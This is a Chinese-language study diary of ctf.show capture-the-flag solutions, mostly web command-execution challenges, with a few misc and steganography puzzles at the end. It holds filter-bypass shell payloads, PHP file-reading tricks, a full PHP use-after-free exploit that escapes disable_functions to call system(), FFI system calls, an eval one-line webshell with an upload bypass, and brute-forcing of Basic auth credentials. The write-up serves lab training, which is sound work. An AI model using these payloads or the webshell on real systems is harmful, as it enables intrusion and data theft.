学习日记-1(命令执行篇)

web42
ls;然后tac flag.php;
web43
同上,只需将;改为||或%0a
web44
ls||然后tac fla?.php||
web45
ls||然后tac%09fla?.php||
web46+web47+web48+web49+web50
ls||然后tac<f”lag.php||
可使用cat,more,nl,tail通过””,’‘,\等替换tac,执行后查看源码
web51
ls||然后n””l<f”lag.php||查看源码
web52
ls||有flag.php是假的,真的在根目录ls${IFS}/||
n\l${IFS}/f?ag||
web53
ls然后ca""t${IFS}fla?.php
web54
ls然后cp${IFS}f???.???${IFS}d.txt然后访问d.txt,把cp改为mv也可以
web55+56
写一个html文件向题目网址传文件,该文件会被放到临时文件夹/tmp/php??????中
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>P0ST数据包P0C</title>
</head>
<body>
<form action="https://39c3f5f5-31ba-4e2b-a11c-e522e7b5391a.challenge.ctf.show/" method='post' enctype="multipart/form-data">
(!-一链接是当前打开的题目链接-一>
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
上传任意文件,使用bp抓包
[@-[]表示大写字母,只有上传的文件最后才可能为大写字母
#|/bin/sh写不写都一样
ls(没结果多试几次,因为/tmp/php??????最后一位不一定是大写字母)然后tac flag.php
相关知识:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
web57
提示flag在36.php,只需搞出36即可,利用$(())=0,$((~$(())))=-1,∼x=−x−1
可得
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
web58+59+60+61+62+63+64+65
使用post传参,print_r(scandir('.'));发现flag.php,然后show_source('flag.php');(通用)
还可以使用file_get_contents()(只有58能用),highlight_file()(通用)替换
2.c=include($_GET[1]);然后通过get传参使用伪协议(非通用)
web66
使用post传参,print_r(scandir('.'));发现flag.php,但是假的,print_r(scandir('/'));查看根目录
发现flag.txt,使用
highlight_file('/flag.php');得到flag
web67
同上,只是print_r()被禁用,换成var_dump()
web68
提示highlight_file()被禁用
post传参c=include($_GET[1]);然后通过get传参使用伪协议
?1=php://filter/convert.base64-encode/resource=/flag.txt;
web69+70
c=var_export(scandir('/'));查看目录,c=include('/flag.txt');得到flag
web71
查看附件源码,在执行完命令后,会将页面字符替换为?,只需执行完命令立刻退出即可
c=var_export(scandir('/'));exit();查看目录,c=include('/flag.txt');exit();得到flag,或者使用die();
web72
受到open_basedir 限制:可将用户访问文件的活动范围限制在指定的区域
使用glob协议绕过查看目录
c=$a="glob:///*.txt";#查看根目录中的*.txt文件
if($b = opendir($a)){
while(($file=readdir($b))!==false){
echo"filename:".$file."\n";
}
closedir($b);
}
exit();
相关知识:https://www.cnblogs.com/zjhzjhhh/p/14169131.html#glob://
- 使用uaf脚本绕过
function ctfshow($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; write($abc, 0x60, 2); write($abc, 0x70, 6); write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd); exit(); } ctfshow("cat /flag0.txt");ob_end_flush();
进行url加密后使用即可得到flag
web73+74
c=$a="glob:///*.*";
if($b = opendir($a)){
while(($file=readdir($b))!==false){
echo"filename:".$file."\n";
}
closedir($b);
}
exit();
得到flag位置
c=include('/flagc.txt');exit();得到flag
web75+76
使用同上方法查看目录,通过PDO连接数据库information_schema(默认数据库)
c=try {$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
web77
此题利用的是PHP 7.4+的FFI特性
可以使用同上方法查看目录,也可使用FFI
c=$ffi = FFI::cdef("int system(const char *command);");
$a='ls / > 1.txt';
$ffi->system($a);exit();#然后访问1.txt
c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit(); #然后访问1.txt,flag36x.txt因为权限问题无法读取
相关知识:
https://www.php.net/manual/zh/ffi.cdef.php
https://www.laruence.com/2020/03/11/5475.html
web118
随便输一个,用bp抓包,进行爆破,根据长度得到小写字母和一些特殊字符被过滤
利用环境变量PATH一般是/bin,题目路径PWD是/var/www/html。
使用取反号时,任何字母等同于数字0。
构造
code=${PATH:~C}${PWD:~C} ????.???
web21
随便输入用户和密码(输入admin,admin),使用bp抓包,看见base64编码,解密得到admin:admin,下载附件,只有密码的,盲猜admin,将包放到intruder,添加payload位置
添加密码本,添加规则:1.前缀:admin: 2.进行base64编码 攻击即可得到正确密码。输入得到flag
web23
分析代码,上传的值的MD5要求满足
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1)))
ai写脚本爆破
import hashlib
def find_valid_string():
for i in range(1, 10 ** 6): # 遍历可能的字符串,范围可调整
candidate = str(i) # 当前字符串
md5_hash = hashlib.md5(candidate.encode()).hexdigest() # 计算 MD5 哈希
# 提取需要验证的字符
char1 = md5_hash[1]
char14 = md5_hash[14]
char17 = md5_hash[17]
char31 = md5_hash[31]
# 条件 1: 字符相等
if char1 == char14 == char17:
# 检查是否是数字
if char1.isdigit() and char31.isdigit():
# 转换为整数
int_char1 = int(char1)
int_char31 = int(char31)
# 防止除零错误
if int_char1 == 0:
continue
# 条件 2: 数学运算
if (3 * int_char1) / int_char1 == int_char31:
return candidate, md5_hash # 找到满足条件的字符串
# 执行破解
result = find_valid_string()
if result:
print("Found string:", result[0])
print("MD5 hash:", result[1])
else:
print("No valid string found!")
利用环境路径等构造payload
PATH:/bin
**${USER}:www-data**
HOME:/
PWD:/var/www/html
数字
PHP_VERSION:可通过浏览器插件wappalyzer查看
例如:版本为7.3.22 ${PHP_VERSION:~A}等价于2
-1:~A(任意字母)
1:**${#SHLVL}、${##}、${#?}**
3:${#IFS}
${#RANDOM}随机返回,多数为4或5,5的概率大(${RANDOM}完全随机)
$?表示上一条命令执行结束后的传回值,成功:0,失败:1
例如:使用<A等可让其返回1,<A;${HOME::$?}等价于/
相关:https://blog.csdn.net/m0_48780534/article/details/125095631
web119
随便输一个,用bp抓包,进行爆破(字典:https://img2.sanye.us.kg/sanye/fuzz.txt),根据长度得到小写字母和一些特殊字符被过滤,PATH也被过滤
可以拼一个
/bin/base64 flag.php
code=${HOME::${#SHLVL}}???${HOME::${#SHLVL}}?????${#RANDOM} ????.???
多试几次,将回显进行base64解码
web120
分析代码后,构造/bin/base64 flag.php,多试几次,将回显进行base64解码
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
web121
同上,payload改为
code=${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
web122
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
web151(可以直接改前端代码)+152
将一句话木马文件(1.php)后缀改为1.png,上传后通过抓包改回来,成功上传访问/upload/1.php,执行
1=system('tac /var/www/html/flag.php');
也可以使用蚁剑连接
一句话木马
<?php
@eval($_POST[1]);
?>
休闲一下:
misc30
下载附件明显是压缩包,修改格式后解压,无密码即得到一张图片,查看图片属性发现备注little stars 为第一个密码,输入密码解压后得到一个word文档,打开全选发现字数与看到的字数不一样,清除格式出现第二个密码Hello friend!,继续解压得到二维码,扫描得到flag
stega1
纯工具,使用jphs
misc50
文件为照片,直接binwalk看看,有压缩包,解压再解压,再解压要密码,使用010查看,在第二压缩包发现特殊字符串GEZDGNBVGYFA====
base32解密得123456,解压压缩包,得到许多数字,放CyberChef两次16hex解码得到7z压缩包,下载后解压发现要密码,放010未发现什么,放开始的照片到010发现特殊字符穿串,base64解码的KEY{Lazy_Man},解压后的得到大串字符,放CyberChef,base64解码然后一直点击魔法棒,发现使用base64与base32按一定规律解密,最终得到由. ? !的字符串,直接没头绪
查看wp,将这段!?字符串放在word里,用空格替换换行,放https://www.splitbrain.org/services/ook
点击Ook to text!然后得到大量Brainfuck编码 点击Brainfuck to Text得到flag




